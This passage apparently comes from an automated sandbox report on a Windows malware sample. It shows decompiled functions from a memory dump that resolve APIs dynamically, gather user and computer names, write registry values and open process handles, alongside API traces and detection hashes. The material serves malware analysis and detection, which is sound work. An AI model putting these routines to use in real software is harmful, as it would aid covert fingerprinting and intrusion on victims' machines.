				return _t36;
			}

0x03558307
0x0355830a
0x0355830b
0x03558313
0x0355831a
0x03558321
0x03558325
0x0355832b
0x03558332
0x03558337
0x03558349
0x0355834d
0x03558351
0x03558357
0x0355835c
0x0355836c
0x0355836e
0x03558385
0x03558389
0x0355838c
0x03558391
0x03558391
0x0355839a
0x0355839e
0x035583a1
0x035583a6
0x035583a6
0x0355839e
0x035583a9
0x035583a9
0x035583b4

APIs

Part of subcall function 03559401: lstrlen.KERNEL32(00000000,00000000,00000000,74ECC740,?,?,?,03558321,253D7325,00000000,00000000,74ECC740,?,?,0355A428,?), ref: 03559468
Part of subcall function 03559401: sprintf.NTDLL ref: 03559489

lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,0355A428,?,059A95B0), ref: 03558332
lstrlen.KERNEL32(?,?,?,0355A428,?,059A95B0), ref: 0355833A

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

strcpy.NTDLL ref: 03558351
lstrcat.KERNEL32(00000000,?), ref: 0355835C

Part of subcall function 03557225: lstrlen.KERNEL32(?,?,?,?,00000001,00000000,00000000,?,0355836B,00000000,?,?,?,0355A428,?,059A95B0), ref: 0355723C

Part of subcall function 03559039: HeapFree.KERNEL32(00000000,00000000,03557F18,00000000,?,?,00000000), ref: 03559045

StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0355A428,?,059A95B0), ref: 03558379

Part of subcall function 03558E82: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,03558385,00000000,?,?,0355A428,?,059A95B0), ref: 03558E8C
Part of subcall function 03558E82: _snprintf.NTDLL ref: 03558EEA

Strings

=, xrefs: 03558373

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
String ID: =
API String ID: 2864389247-1428090586
Opcode ID: eb5f5bbf150782c5c5614b5914448b9b3857211bef1f34c3d78cd1da84038145
Instruction ID: 724ad3f8658ea77601359af04d8b555adb108cef8ac2d581f3a077ee6bd4c29a
Opcode Fuzzy Hash: eb5f5bbf150782c5c5614b5914448b9b3857211bef1f34c3d78cd1da84038145
Instruction Fuzzy Hash: C0118F37601326AB8A12FBB5BCA4C6E66BDBF896507090457FD049B130DB29FD0697A0

Uniqueness

Uniqueness Score: -1.00%

Function 03556CC3, Relevance: 9.1, APIs: 6, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 03556D1F
SysAllocString.OLEAUT32(0070006F), ref: 03556D33
SysAllocString.OLEAUT32(00000000), ref: 03556D45
SysFreeString.OLEAUT32(00000000), ref: 03556DA9
SysFreeString.OLEAUT32(00000000), ref: 03556DB8
SysFreeString.OLEAUT32(00000000), ref: 03556DC3

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 3608f820c28b57a59ffb214cf56fd60d78da815b2ea8105bfbf128feb960cbfa
Instruction ID: 952b8995cde670e7f144a16e31b6f453ce414830b954b6aa2ce5df54b3e31fdd
Opcode Fuzzy Hash: 3608f820c28b57a59ffb214cf56fd60d78da815b2ea8105bfbf128feb960cbfa
Instruction Fuzzy Hash: 15315E36900609ABDB01EFA8D854A9EB7B6BF49300F554465FD10FB220DB71A90ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 0355692C, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0355692C(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E03552049(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x355d27c; // 0x244a5a8
					_t1 = _t23 + 0x355e11a; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x355d27c; // 0x244a5a8
					_t2 = _t26 + 0x355e769; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E03559039(_t54);
					} else {
						_t30 =  *0x355d27c; // 0x244a5a8
						_t5 = _t30 + 0x355e756; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x355d27c; // 0x244a5a8
							_t7 = _t33 + 0x355e40b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x355d27c; // 0x244a5a8
								_t9 = _t36 + 0x355e4d2; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x355d27c; // 0x244a5a8
									_t11 = _t39 + 0x355e779; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E0355727B(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x0355693b
0x0355693f
0x03556a01
0x03556945
0x03556945
0x0355694a
0x0355695d
0x0355695f
0x03556964
0x0355696c
0x03556973
0x03556977
0x0355697a
0x035569f9
0x035569fa
0x0355697c
0x0355697c
0x03556981
0x03556989
0x0355698d
0x03556990
0x00000000
0x03556992
0x03556992
0x03556997
0x0355699f
0x035569a3
0x035569a6
0x00000000
0x035569a8
0x035569a8
0x035569ad
0x035569b5
0x035569b9
0x035569bc
0x00000000
0x035569be
0x035569be
0x035569c3
0x035569cb
0x035569cf
0x035569d2
0x00000000
0x035569d4
0x035569da
0x035569df
0x035569e6
0x035569ed
0x035569f0
0x00000000
0x035569f2
0x035569f5
0x035569f5
0x035569f0
0x035569d2
0x035569bc
0x035569a6
0x03556990
0x0355697a
0x03556a0f

APIs

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,0355207A,?,00000001,?,?,00000000,00000000), ref: 03556951
GetProcAddress.KERNEL32(00000000,7243775A), ref: 03556973
GetProcAddress.KERNEL32(00000000,614D775A), ref: 03556989
GetProcAddress.KERNEL32(00000000,6E55775A), ref: 0355699F
GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 035569B5
GetProcAddress.KERNEL32(00000000,6C43775A), ref: 035569CB

Part of subcall function 0355727B: memset.NTDLL ref: 035572FA

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: AddressProc$AllocateHandleHeapModulememset
String ID:
API String ID: 1886625739-0
Opcode ID: 792f4a2fa45fdb6885f08b847289f05f633d2a766cf8f17d7c006b46376a8236
Instruction ID: cb8735b8c0bd6d9030a2419505f9a040e2e0356c8d8caa73eb1624ccac6dc71b
Opcode Fuzzy Hash: 792f4a2fa45fdb6885f08b847289f05f633d2a766cf8f17d7c006b46376a8236
Instruction Fuzzy Hash: 462121B260134ADFDB60EFAAE854D5AB7FCFB082447054566FA09C7221E734F9069B60

Uniqueness

Uniqueness Score: -1.00%

Function 03557649, Relevance: 7.6, APIs: 5, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03557649() {
				long _v8;
				long _v12;
				int _v16;
				long _t39;
				long _t43;
				signed int _t47;
				signed int _t52;
				int _t56;
				int _t57;
				char* _t63;
				short* _t66;

				_v16 = 0;
				_v8 = 0;
				GetUserNameW(0,  &_v8);
				_t39 = _v8;
				if(_t39 != 0) {
					_v12 = _t39;
					_v8 = 0;
					GetComputerNameW(0,  &_v8);
					_t43 = _v8;
					if(_t43 != 0) {
						_v12 = _v12 + _t43 + 2;
						_t63 = E03552049(_v12 + _t43 + 2 << 2);
						if(_t63 != 0) {
							_t47 = _v12;
							_t66 = _t63 + _t47 * 2;
							_v8 = _t47;
							if(GetUserNameW(_t66,  &_v8) == 0) {
								L7:
								E03559039(_t63);
							} else {
								 *((short*)(_t66 + _v8 * 2 - 2)) = 0x40;
								_t52 = _v8;
								_v12 = _v12 - _t52;
								if(GetComputerNameW( &(_t66[_t52]),  &_v12) == 0) {
									goto L7;
								} else {
									_t56 = _v12 + _v8;
									_t31 = _t56 + 2; // 0x355a33a
									_v12 = _t56;
									_t57 = WideCharToMultiByte(0xfde9, 0, _t66, _t56, _t63, _t56 + _t31, 0, 0);
									_v8 = _t57;
									if(_t57 == 0) {
										goto L7;
									} else {
										_t63[_t57] = 0;
										_v16 = _t63;
									}
								}
							}
						}
					}
				}
				return _v16;
			}

0x03557657
0x0355765a
0x0355765d
0x03557663
0x03557668
0x0355766e
0x03557676
0x03557679
0x0355767f
0x03557684
0x03557691
0x0355769e
0x035576a2
0x035576a4
0x035576a8
0x035576ab
0x035576bb
0x0355770d
0x0355770e
0x035576bd
0x035576c0
0x035576c7
0x035576ca
0x035576dd
0x00000000
0x035576df
0x035576e2
0x035576e7
0x035576f5
0x035576f8
0x03557700
0x03557703
0x00000000
0x03557705
0x03557705
0x03557708
0x03557708
0x03557703
0x035576dd
0x03557713
0x03557714
0x03557684
0x0355771a

APIs

GetUserNameW.ADVAPI32(00000000,0355A338), ref: 0355765D
GetComputerNameW.KERNEL32(00000000,0355A338), ref: 03557679

Part of subcall function 03552049: RtlAllocateHeap.NTDLL(00000000,00000000,03557E50), ref: 03552055

GetUserNameW.ADVAPI32(00000000,0355A338), ref: 035576B3
GetComputerNameW.KERNEL32(0355A338,?), ref: 035576D5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,0355A338,00000000,0355A33A,00000000,00000000,?,?,0355A338), ref: 035576F8

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Name$ComputerUser$AllocateByteCharHeapMultiWide
String ID:
API String ID: 3850880919-0
Opcode ID: 17b96c453e8526cec2a6a85dd63980a2aa906f0f4e7890bfae02de98b1627fc8
Instruction ID: 1410f6f66b2463fc5eb7820fd500450e7a05cf3e10a00c7937b1c38e0a4ee272
Opcode Fuzzy Hash: 17b96c453e8526cec2a6a85dd63980a2aa906f0f4e7890bfae02de98b1627fc8
Instruction Fuzzy Hash: 5921DB76910209FBCB11DFA9E994CEEBBB8FE48200B54446AE901E7220D734AB45DB60

Uniqueness

Uniqueness Score: -1.00%

Function 03551585, Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E03551585(void* __eax, intOrPtr _a4, intOrPtr _a8) {
				void* __esi;
				long _t10;
				void* _t18;
				void* _t22;

				_t9 = __eax;
				_t22 = __eax;
				if(_a4 != 0 && E03557F27(__eax + 4, _t18, _a4, __eax, __eax + 4) == 0) {
					L9:
					return GetLastError();
				}
				_t10 = E0355A9AB(_t9, _t18, _t22, _a8);
				if(_t10 == 0) {
					ResetEvent( *(_t22 + 0x1c));
					ResetEvent( *(_t22 + 0x20));
					_push(0);
					_push(0);
					_push(0xffffffff);
					_push(0);
					_push( *((intOrPtr*)(_t22 + 0x18)));
					if( *0x355d130() != 0) {
						SetEvent( *(_t22 + 0x1c));
						goto L7;
					} else {
						_t10 = GetLastError();
						if(_t10 == 0x3e5) {
							L7:
							_t10 = 0;
						}
					}
				}
				if(_t10 == 0xffffffff) {
					goto L9;
				}
				return _t10;
			}

0x03551585
0x03551592
0x03551594
0x035515f7
0x00000000
0x035515f7
0x035515ac
0x035515b3
0x035515bf
0x035515c4
0x035515c6
0x035515c8
0x035515ca
0x035515cc
0x035515ce
0x035515da
0x035515ea
0x00000000
0x035515dc
0x035515dc
0x035515e3
0x035515f0
0x035515f0
0x035515f0
0x035515e3
0x035515da
0x035515f5
0x00000000
0x00000000
0x035515fb

APIs

ResetEvent.KERNEL32(?,00000008,?,?,00000102,035511DA,?,?,00000000,00000000), ref: 035515BF
ResetEvent.KERNEL32(?), ref: 035515C4
GetLastError.KERNEL32 ref: 035515DC
GetLastError.KERNEL32(?,?,00000102,035511DA,?,?,00000000,00000000), ref: 035515F7

Part of subcall function 03557F27: lstrlen.KERNEL32(00000000,00000008,?,75144D40,?,?,035515A4,?,?,?,?,00000102,035511DA,?,?,00000000), ref: 03557F33
Part of subcall function 03557F27: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,035515A4,?,?,?,?,00000102,035511DA,?), ref: 03557F91
Part of subcall function 03557F27: lstrcpy.KERNEL32(00000000,00000000), ref: 03557FA1

SetEvent.KERNEL32(?), ref: 035515EA

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$lstrcpylstrlenmemcpy
String ID:
API String ID: 1449191863-0
Opcode ID: fbae092980d05d1b3d2173daabf0840916d49977b7320516710d661b7433cba6
Instruction ID: 0bacd419ae9bf69bfd034ae8588a42e15f9421e0754f6cef6fc2198e5460c81d
Opcode Fuzzy Hash: fbae092980d05d1b3d2173daabf0840916d49977b7320516710d661b7433cba6
Instruction Fuzzy Hash: CA014F71100B116ADA31EE71EC54F1BBAB8FF44760F144A26F952911F0D630F959DA11

Uniqueness

Uniqueness Score: -1.00%

Function 03558F10, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E03558F10(intOrPtr _a4) {
				void* _t2;
				long _t4;
				void* _t5;
				long _t6;
				void* _t7;
				void* _t13;

				_t2 = CreateEventA(0, 1, 0, 0);
				 *0x355d26c = _t2;
				if(_t2 == 0) {
					return GetLastError();
				}
				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t13 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x355d25c = _t4;
					_t6 = GetCurrentProcessId();
					 *0x355d258 = _t6;
					 *0x355d264 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x355d254 = _t7;
					if(_t7 == 0) {
						 *0x355d254 =  *0x355d254 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 > 0) {
					goto L5;
				}
				_t13 = _t4 - _t4;
				goto L4;
			}

0x03558f18
0x03558f20
0x03558f25
0x00000000
0x03558f7a
0x03558f27
0x03558f2f
0x03558f37
0x03558f37
0x03558f77
0x00000000
0x03558f77
0x03558f39
0x03558f39
0x03558f3e
0x03558f50
0x03558f55
0x03558f5b
0x03558f63
0x03558f68
0x03558f6a
0x03558f6a
0x00000000
0x03558f71
0x03558f33
0x00000000
0x00000000
0x03558f35
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,03556A90,?,?,00000001,?,?,?,0355807D,?), ref: 03558F18
GetVersion.KERNEL32(?,00000001,?,?,?,0355807D,?), ref: 03558F27
GetCurrentProcessId.KERNEL32(?,00000001,?,?,?,0355807D,?), ref: 03558F3E
OpenProcess.KERNEL32(0010047A,00000000,00000000,?,00000001,?,?,?,0355807D,?), ref: 03558F5B
GetLastError.KERNEL32(?,00000001,?,?,?,0355807D,?), ref: 03558F7A

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process$CreateCurrentErrorEventLastOpenVersion
String ID:
API String ID: 2270775618-0
Opcode ID: 00cd21707527aab83cb6da886b7dfe19d53d0a0fc51500a21b37b322e088124a
Instruction ID: e287c2a349d0c775545842101812cd1b6885f1371a0aa3dd2839464b569cc653
Opcode Fuzzy Hash: 00cd21707527aab83cb6da886b7dfe19d53d0a0fc51500a21b37b322e088124a
Instruction Fuzzy Hash: EDF03172745301AAD710EF24A939F187BB2BB48790F04451AF946C61F8D670B04BEE15

Uniqueness

Uniqueness Score: -1.00%

Function 035517D5, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E035517D5(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t60;
				intOrPtr* _t61;
				intOrPtr _t65;
				char _t68;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t75;
				void* _t78;
				void* _t88;
				void* _t97;
				void* _t98;
				char _t104;
				signed int* _t106;
				intOrPtr* _t107;
				void* _t108;

				_t98 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t104 = _a16;
				if(_t104 == 0) {
					__imp__( &_v284,  *0x355d33c);
					_t97 = 0x80000002;
					L6:
					_t60 = E0355809F(0,  &_v284);
					_a8 = _t60;
					if(_t60 == 0) {
						_v8 = 8;
						L29:
						_t61 = _a20;
						if(_t61 != 0) {
							 *_t61 =  *_t61 + 1;
						}
						return _v8;
					}
					_t107 = _a24;
					if(E035588B7(_t98, _t103, _t107, _t97, _t60) != 0) {
						L27:
						E03559039(_a8);
						goto L29;
					}
					_t65 =  *0x355d27c; // 0x244a5a8
					_t16 = _t65 + 0x355e8fe; // 0x65696c43
					_t68 = E0355809F(0, _t16);
					_a24 = _t68;
					if(_t68 == 0) {
						L14:
						_t29 = _t107 + 0x14; // 0x102
						_t33 = _t107 + 0x10; // 0x3d0355c0
						if(E0355A635(_t103,  *_t33, _t97, _a8,  *0x355d334,  *((intOrPtr*)( *_t29 + 0x28))) == 0) {
							_t72 =  *0x355d27c; // 0x244a5a8
							if(_t104 == 0) {
								_t35 = _t72 + 0x355ea5f; // 0x4d4c4b48
								_t73 = _t35;
							} else {
								_t34 = _t72 + 0x355e89f; // 0x55434b48
								_t73 = _t34;
							}
							if(E0355816C(_t73,  *0x355d334,  *0x355d338,  &_a24,  &_a16) == 0) {
								if(_t104 == 0) {
									_t75 =  *0x355d27c; // 0x244a5a8
									_t44 = _t75 + 0x355e871; // 0x74666f53
									_t78 = E0355809F(0, _t44);
									_t105 = _t78;
									if(_t78 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t107 + 0x10; // 0x3d0355c0
										E03552659( *_t47, _t97, _a8,  *0x355d338, _a24);
										_t49 = _t107 + 0x10; // 0x3d0355c0
										E03552659( *_t49, _t97, _t105,  *0x355d330, _a16);
										E03559039(_t105);
									}
								} else {
									_t40 = _t107 + 0x10; // 0x3d0355c0
									E03552659( *_t40, _t97, _a8,  *0x355d338, _a24);
									_t43 = _t107 + 0x10; // 0x3d0355c0
									E03552659( *_t43, _t97, _a8,  *0x355d330, _a16);
								}
								if( *_t107 != 0) {
									E03559039(_a24);
								} else {
									 *_t107 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t107 + 0x10; // 0x3d0355c0
					if(E03556BFA( *_t21, _t97, _a8, _t68,  &_v16,  &_v12) == 0) {
						_t106 = _v16;
						_t88 = 0x28;
						if(_v12 == _t88) {
							 *_t106 =  *_t106 & 0x00000000;
							_t26 = _t107 + 0x10; // 0x3d0355c0
							E0355A635(_t103,  *_t26, _t97, _a8, _a24, _t106);
						}
						E03559039(_t106);
						_t104 = _a16;
					}
					E03559039(_a24);
					goto L14;
				}
				if(_t104 <= 8 || _t104 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t103 = _a8;
					E0355A8D8(_t104, _a8,  &_v284);
					__imp__(_t108 + _t104 - 0x117,  *0x355d33c);
					 *((char*)(_t108 + _t104 - 0x118)) = 0x5c;
					_t97 = 0x80000003;
					goto L6;
				}
			}

0x035517d5
0x035517de
0x035517e5
0x035517ea
0x03551857
0x0355185d
0x03551862
0x0355186b
0x03551872
0x03551875
0x035519e9
0x035519f0
0x035519f0
0x035519f5
0x035519f7
0x035519f7
0x03551a00
0x03551a00
0x0355187b
0x03551887
0x035519df
0x035519e2
0x00000000
0x035519e2
0x0355188d
0x03551892
0x0355189b
0x035518a2
0x035518a5
0x035518ef
0x035518ef
0x03551902
0x0355190c
0x03551914
0x03551919
0x03551923
0x03551923
0x0355191b
0x0355191b
0x0355191b
0x0355191b
0x03551945
0x0355194d
0x0355197b
0x03551980
0x03551989
0x0355198e
0x03551992
0x035519c4
0x03551994
0x035519a1
0x035519a4
0x035519b4
0x035519b7
0x035519bd
0x035519bd
0x0355194f
0x0355195c
0x0355195f
0x03551971
0x03551974
0x03551974
0x035519ce
0x035519da
0x035519d0
0x035519d3
0x035519d3
0x035519ce
0x03551945
0x00000000
0x0355190c
0x035518b4
0x035518be
0x035518c0
0x035518c5
0x035518c9
0x035518cb
0x035518d6
0x035518d9
0x035518d9
0x035518df
0x035518e4
0x035518e4
0x035518ea
0x00000000
0x035518ea
0x035517ef
0x00000000
0x03551816
0x03551816
0x03551822
0x03551835
0x0355183b
0x03551843
0x00000000
0x03551843

APIs

StrChrA.SHLWAPI(03553C81,0000005F,00000000,00000000,00000104), ref: 03551808
lstrcpy.KERNEL32(?,?), ref: 03551835

Part of subcall function 0355809F: lstrlen.KERNEL32(?,00000000,0355D330,00000001,03552200,0355D00C,0355D00C,00000000,00000005,00000000,00000000,?,?,?,035596C1,035523E9), ref: 035580A8
Part of subcall function 0355809F: mbstowcs.NTDLL ref: 035580CF
Part of subcall function 0355809F: memset.NTDLL ref: 035580E1

Part of subcall function 03552659: lstrlenW.KERNEL32(03553C81,?,?,035519A9,3D0355C0,80000002,03553C81,03558B1E,74666F53,4D4C4B48,03558B1E,?,3D0355C0,80000002,03553C81,?), ref: 03552679

Part of subcall function 03559039: HeapFree.KERNEL32(00000000,00000000,03557F18,00000000,?,?,00000000), ref: 03559045

lstrcpy.KERNEL32(?,00000000), ref: 03551857

Strings

\, xrefs: 0355183B

Memory Dump Source

Source File: 00000003.00000002.499257511.0000000003551000.00000020.00000001.sdmp, Offset: 03550000, based on PE: true

Associated: 00000003.00000002.499242705.0000000003550000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499318420.000000000355C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.499336543.000000000355D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.499367631.000000000355F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
String ID: \
API String ID: 3924217599-2967466578
Opcode ID: 3e712b5fcc88df6ef2e3694e7eb0259b6afea66502d1045524305c46c958236a
Instruction ID: e995c8c418d5a5db0a03e5b33bf34bba94de268483e9f84589397ab24ef247a6
Opcode Fuzzy Hash: 3e712b5fcc88df6ef2e3694e7eb0259b6afea66502d1045524305c46c958236a
Instruction Fuzzy Hash: DF517B7610070AEFCF21EFA4E860EAA7BBABB44344F044556FE1696130D735FA16EB50

Uniqueness

Uniqueness Score: -1.00%

Function 035552F9, Relevance: 6.2, APIs: 4, Instructions: 152
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E035552F9(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr _t78;
				intOrPtr* _t82;
				intOrPtr* _t86;
				intOrPtr _t102;
				intOrPtr _t108;
				void* _t117;
				void* _t121;
				void* _t122;
				intOrPtr _t129;

				_t122 = _t121 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t117 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t117 >= 0) {
					_t54 = _v8;
					_t102 =  *0x355d27c; // 0x244a5a8
					_t5 = _t102 + 0x355e038; // 0x3050f485
					_t117 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t117 >= 0) {
						__imp__#2(0x355c2b0);
						_v28 = _t57;
						if(_t57 == 0) {
							_t117 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t86 = __imp__#6;
							_t117 = _t61;
							if(_t117 >= 0) {
								_t63 = _v24;
								_t117 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t117 >= 0) {
									_t129 = _v20;
									if(_t129 != 0) {
										_v64 = 3;
										_v48 = 3;
										_v56 = 0;
										_v40 = 0;
										if(_t129 > 0) {
											while(1) {
												_t67 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t122 = _t122;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t117 =  *((intOrPtr*)( *_t67 + 0x2c))(_t67,  &_v8);
												if(_t117 < 0) {
													goto L16;
												}
												_t69 = _v8;
												_t108 =  *0x355d27c; // 0x244a5a8
												_t28 = _t108 + 0x355e0bc; // 0x3050f1ff
												_t117 =  *((intOrPtr*)( *_t69))(_t69, _t28,  &_v16);
												if(_t117 >= 0) {
													_t74 = _v16;
													_t117 =  *((intOrPtr*)( *_t74 + 0x34))(_t74,  &_v12);
													if(_t117 >= 0 && _v12 != 0) {
														_t78 =  *0x355d27c; // 0x244a5a8
														_t33 = _t78 + 0x355e078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t82 = _v16;
															 *((intOrPtr*)( *_t82 + 0x114))(_t82);
														}
														 *_t86(_v12);
													}
													_t76 = _v16;
													 *((intOrPtr*)( *_t76 + 8))(_t76);
												}
												_t71 = _v8;
												 *((intOrPtr*)( *_t71 + 8))(_t71);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t86(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t117;
			}

0x035552fe
0x03555307
0x03555308
0x0355530c
0x03555312
0x03555318
0x03555321
0x03555327
0x03555331
0x03555333
0x03555339
0x0355533e
0x03555349
0x03555351
0x03555354
0x03555477
0x0355535a
0x0355535a
0x03555367
0x0355536d
0x03555373
0x03555377
0x0355537d
0x0355538a
0x0355538e
0x03555394
0x03555397
0x0355539d
0x035553a3
0x035553a9
0x035553ac
0x035553af
0x035553b5
0x035553be
0x035553c4
0x035553c5
0x035553c8
0x035553c9
0x035553ca
0x035553d2
0x035553d3
0x035553d4
0x035553d6
0x035553da
0x035553de
0x00000000
0x00000000
0x035553e4
0x035553ed
0x035553f3
0x035553fd
0x03555401
0x03555403
0x03555410
0x03555414
0x0355541c
0x03555421
0x03555433
0x03555435
0x0355543b
